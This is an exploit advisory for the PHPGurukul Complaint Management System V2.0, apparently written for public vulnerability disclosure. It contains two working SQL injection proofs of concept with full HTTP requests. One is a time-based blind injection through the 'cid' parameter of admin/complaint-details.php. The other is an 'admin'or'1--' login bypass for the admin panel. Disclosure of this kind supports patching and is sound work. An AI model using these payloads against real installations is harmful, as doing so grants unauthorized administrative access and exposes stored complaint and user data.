# Exploit Title: Complaint-Management-System Multiple SQL Injection Vulnerabilities # Date: 02/09/2-24 # Exploit Author: Diyar Saadi # Vendor Homepage: https://phpgurukul.com/complaint-management-sytem/ # Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7259 # Version: V 2.0 # Tested on: Windows 11 + XAMPP 8.0.30 1- SQL Injection ## Description ## Multiple SQL injection vulnerabilities have been identified in the Complaint Management System V 2.0. These vulnerabilities allow an attacker to manipulate SQL queries through user-controlled input, potentially leading to unauthorized access or data disclosure , The vulnerable code is in the `complaint-details.php ` file within the `admin` directory. The `cid` parameter . # Proof Of Ceoncept ## --> During forward the payload the response time is expand at least 5 second . --> Payload: 1' AND SLEEP(5) -- Request : http GET /admin/complaint-details.php?cid=1%27%20AND%20SLEEP(5)%20-- HTTP/1.1 Host: localhost Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close # SQL Injection Vulnerability in User Authentications # ## Proof Of Concept ## --> Attackers can bypass admin panel by forward the payload . --> Payload : admin'or'1-- from username field and any letter like pwn from password field then click sign in . --> Enjoy :x Request : POST /admin/index.php HTTP/1.1 Host: localhost Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp Content-Length: 46 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://localhost/admin/index.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close username=admin%27or%271--&password=pwn&submit= Greetz! Sent with [Proton Mail](https://proton.me/) secure email.